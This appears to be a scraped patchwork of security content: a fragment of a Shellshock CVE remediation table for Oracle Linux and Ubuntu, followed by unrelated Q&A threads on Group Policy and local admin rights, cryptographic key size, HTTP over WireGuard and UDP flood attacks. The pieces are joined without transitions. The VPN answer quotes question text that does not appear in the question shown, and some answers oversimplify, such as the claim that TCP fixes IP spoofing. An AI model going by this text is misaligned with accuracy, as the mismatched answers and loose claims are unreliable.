CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278

No data (2014-09-30 00:00Z)

Oracle Enterprise Linux

Affected Products: 4 through 7 (Per vendor notice. Earlier versions unconfirmed.)

CVE-2014-6271

Vendor confirmation & remediation instructions:

Oracle EL 4 - ELSA-2014-1294
Oracle EL 5 - ELSA-2014-1293
Oracle EL 6 - ELSA-2014-1293
Oracle EL 7 - ELSA-2014-1293

CVE-2014-7169

Vendor confirmation & remediation instructions:

Oracle EL 4 - ELSA-2014-3079
Oracle EL 5 - ELSA-2014-1306
Oracle EL 6 - ELSA-2014-1306
Oracle EL 7 - ELSA-2014-1306

CVE-2014-7187, CVE-2014-6277, CVE-2014-6278

No data (2014-09-30 00:30Z)

Ubuntu

Affected Versions:  10.04 through 14.04  (Per vendor notice. Earlier versions unconfirmed.)

CVE-2014-6271

Vendor confirmation & remediation instructions: USN-2362-1

CVE-2014-7169

Vendor confirmation & remediation instructions: USN-2363-2

CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278

No data (2014-09-30 00:30Z)


confirm? group policy is not a reliable way to make a program run on a user's computer I know very little about Windows domains and Group Policy.  However, if you use Group Policy to set a requirement that PCs joining your domain have to download and run a program, then by default that applies to all PCs joining the domain, right -- even a brand-new machine from the store, if you bring it in to work and join it to the domain where the Group Policy is set?

BUT, it seems like as long as you have local admin on the machine, there are ways to join the domain without Group Policy being applied:
https://www.technipages.com/windows-prevent-group-policy-from-applying

So -- is it also a correct statement that Group Policy is not a reliable way to ensure that a given program is run on a computer when a user joins a domain -- not if users have local admin on their machine?

(This would seem like a specific case of the general principle that there's no such thing as a trusted client -- if users are administrators on their local machine, then the network administrator can't reliably force anything to happen on the user's machine.)

For cases where the user is local admin, you are correct. There are numerous ways that the user could prevent execution in that case, even without blocking group policy stuff from taking effect generally.

If you only need the program to run once, you can simply run it before handing it over to the employees / users, but if they have local admin they can always unwind any the changes you made, too...


Is there any reason someone wouldn't use a longer key? Larger key sizes are said to be more difficult to bruteforce; is there any reason someone would then decide to instead use a smaller key?

Is there any negative effect in using a larger key size, such as performance, or poor compatibility with older versions of encryption/decryption software?

Each bit of a key increases the difficulty of a brute-force attack exponentially but there is a trade-off. Adding more bits to the key will negatively effect the speed of encryption/decryption. The actual amount of this speed loss depends on the algorithm, for example in RSA (in theory) for a n-bit key, computational effort for encryption is proportional to n^2, while effort for decryption is proportional to n^3, so doubling the key in RSA means that encryption will be four times slower, and decryption will be (almost) eight times slower.

Another thing I think is worth mentioning and thanks for Perseids for pointing it out.
There is a limit where more time needed to break the algorithm becomes meaningless, because for practical purposes it is already "forever". As a "real world" analogy imagine you are packing rations for a short trip in the desert and are deciding how much water you want to take with you. For a small amount of water "more is better" is a reasonable approach, because you might need to stay longer than planned or spill some water. But when you already take the whole Amazon with you then increasing that amount to all the water on the planet does not help. That are the dimensions we are talking about when someone tries to convince you to use 8192 bit RSA.

(Diagram from Javamex)

For elliptic curve algorithms, we assume that finding the discrete logarithm of a random elliptic curve element with respect to a publicly known base point is infeasible. The primary benefit of ECC is in fact the smaller key size e.g., a 256-bit ECC public key should provide comparable security to a 3072-bit RSA public key. Based on the fact that the main algorithms used to solve ECDLP (e.g baby-step giant-step) need n^(1/2) steps, increase/decrease in n-bits will affect de/encrption speeds.

As for your side question, I wouldn't worry too much but considering you are talking about length, "longer" is preferred.


Serving local HTTP over VPN I’m running a server on my LAN.
It’s setup as a Webserver that’s only listening to local connections and a WireGuard VPN server.
When I’m not at home, I establish a connection to the vpn.

The webserver is using http only. I’ve set up an nftables rule that masquerades requests from my vpn ip to my webserver in order to access those pages.

WireGuard is left with default settings, so it just establishes a connection between server and client.

Since I’m entering sensitive information on these websites, I’m wondering if the connection is encrypted through the vpn tunnel or if https is necessary to be on the safe side.

My LAN is trustworthy. VPN server and webserver are running on the same machine.

You question isn't very clear. You wrote:

  I'm connecting to that server via VPN (wireguard).

And after:

  I do not route all traffic through that VPN, only DNS requests.

So, if the HTTP stream between your client and your server isn't routed throught VPN, then the connection isn't encrypted.

At contrary, if you route the traffic to your HTTP server throught the VPN, then it's encrypted.

Nevertheless, keep in mind that traffic between your VPN gateway and your HTTP server will remain clear.


How to deal with UDP bandwidth exhaustion DDoS attacks? I am building a service, which will use UDP. It will run on Amazon AWS - in the firewall they provide, I can block everything except that one UDP port my service will run.

The only thing I'm concerned about is receiving a massive spam of UDP packets from random spoofed IP addresses on that particular UDP port. If a pool of these spoofed IP addresses would be limited then all of them could be blacklisted on a 3rd party firewall. But if every packet can have random 32-bit IP address, then I can't think of a way to recognize it from a legitimate packet.

Is there even way to defend against such attack?

Are you absolutely bound to UDP;  TCP fixes IP spoofing attacks.

IPSEC?  If every packet is from a pre-determined trusted device you could add authentication-header to validate it.